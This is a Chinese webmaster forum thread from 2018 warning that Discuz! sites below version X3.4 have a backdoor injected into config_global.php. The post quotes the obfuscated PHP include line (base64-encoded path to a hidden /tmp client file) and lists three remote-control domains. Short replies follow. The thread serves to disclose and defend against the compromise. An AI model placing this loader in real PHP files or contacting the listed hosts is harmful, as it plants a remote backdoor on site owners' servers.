忘记密码?

一键登录

草根吧

Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示

查看: 85|回复: 6

Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示

[复制链接]

4193

主题

9110

热度

1万

贡献

民审

Rank: 8Rank: 8

发表于 2018-9-28 16:19:58 | 显示全部楼层 |阅读模式
本帖最后由 民审-M 于 2018-9-28 16:22 编辑

Discuz! X3.4版本以下/config/config_global.php注入漏洞:
@include(base64_decode('L3RtcC8uVGVzdC11bml4L2NsaWVudC5waHA='));

解析:
写入服务器/tmp/.Test-unix/client.php
远程控制注入地址:
www.womendemengxiang.com
gbk.baidu901.com
9a9vj.com:8888



内容:
游客,如果您要查看本帖隐藏内容请回复


帖子地址: 

本文来源于草根吧 www.caogen8.co,欢迎大家下载。
如果您没有贡献需要充值,可以直接在线充值,点击充值
如果你需要加入本站赞助VIP会员,可以直接在线开通,点击开通
如果找不到您要的资源,请搜索一下,点击搜索

17

主题

1607

热度

60

贡献

核心会员

Rank: 9Rank: 9Rank: 9

论坛元老热心会员灌水之王

发表于 2018-9-28 21:38:21 | 显示全部楼层
DZ建站资源有求必应
666666666666

4

主题

1118

热度

187

贡献

终身赞助ViP

Rank: 7Rank: 7Rank: 7

发表于 2018-10-1 01:08:56 | 显示全部楼层
模板插件安装服务
前几天我就被这漏洞注入了

0

主题

0

热度

8

贡献

步入草根

Rank: 1

发表于 2018-10-1 20:21:25 #来自: 微信手机版# | 显示全部楼层
学习学习顶

0

主题

12

热度

0

贡献

步入草根

Rank: 1

发表于 2018-10-8 14:38:18 | 显示全部楼层
66666666看看内容

0

主题

0

热度

0

贡献

步入草根

Rank: 1

发表于 2018-10-10 15:31:42 | 显示全部楼层
需要详细信息

0

主题

0

热度

7

贡献

步入草根

Rank: 1

发表于 6 天前 | 显示全部楼层
草根吧 Discuz! X3.4版本以下/config/config_global.php注入漏洞@include(base64_decode公示 版本,注入,漏洞,以下,注入漏洞 站长头条 lol太厉害呀

发表回复

*滑动验证:
 懒得打字嘛,点击右侧快捷回复【最新发布】   【赞助草根吧享更多权益】
高级模式
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 用百度帐号登录 一键登录:

本版积分规则

收藏帖子 返回列表 搜索
快速回复 返回顶部 返回列表